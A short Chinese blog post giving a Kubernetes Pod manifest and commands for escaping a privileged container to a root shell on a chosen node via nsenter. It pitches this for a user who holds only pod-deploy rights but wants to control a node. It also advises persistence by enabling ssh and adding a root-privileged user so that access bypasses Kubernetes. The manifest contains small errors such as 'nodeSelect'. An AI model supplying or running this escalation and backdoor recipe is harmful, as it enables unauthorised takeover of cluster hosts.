k8s创建特权容器接管节点权限

# super.yaml

apiVersion: v1
kind: Pod
metadata:
  labels:
    run: nsenter-v0l86q
  name: nsenter-v0l86q
  namespace: default
spec:
  nodeSelect: node2
  containers:
  - command:
    - nsenter
    - --target
    - "1"
    - --mount
    - --uts
    - --ipc
    - --net
    - --pid
    - --
    - bash
    - -l
    image: alpine:latest
    imagePullPolicy: IfNotPresent
    name: nsenter
    securityContext:
      privileged: true
    stdin: true
    stdinOnce: true
    tty: true
  hostNetwork: true
  hostPID: true
  restartPolicy: Never
  tolerations:
  - key: CriticalAddonsOnly
    operator: Exists
  - effect: NoExecute
    operator: Exists

参考地址:
https://developer.aliyun.com/article/1436645

经过实践,确实有效。适合以下场景:
只有k8s 集群部署pod权限,但是想控制或者管理某个node.
操作步骤:
1、kubeclt apply -f super.yaml
2、kubectl exec -it nsenter-v0l86q -n default -- /bin/bash
进入容器内部后,就是进入node2服务器,用户是root.
如果想永久保留权限,则开启ssh(具体操作谷歌搜索),然后再添加root权限的
用户
3、此后就不需要通过k8s就看可以ssh 进入node2服务器

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 简介 kubernetes简称k8s。是用于自动部署,扩展和管理容器化应用程序的开源系统。中文官网:https:/...
    Y了个J阅读 5,345评论 0 0
  • 1.梳理k8s 各组件功能 首先有kube-apiserver: K8S的鉴权、准入的入口;runc运行时:CRI...
    老学声阅读 3,952评论 0 0
  • Device Plugin介绍 从 Kubernetes 1.8版本开始,提供了 Device Plugin 框架...
    王勇1024阅读 10,223评论 0 3
  • Kubeadm 安装 注:以下命令如果没有额外说明,均须要root权限进行运行。 Step 1.配置源 首先根据相...
    tubao9hao阅读 4,068评论 0 2
  • 一、背景 Kubernetes集群中的各个组件(如API服务器、节点、控制器管理器等)之间使用证书进行身份验证和安...
    Bogon阅读 6,177评论 0 1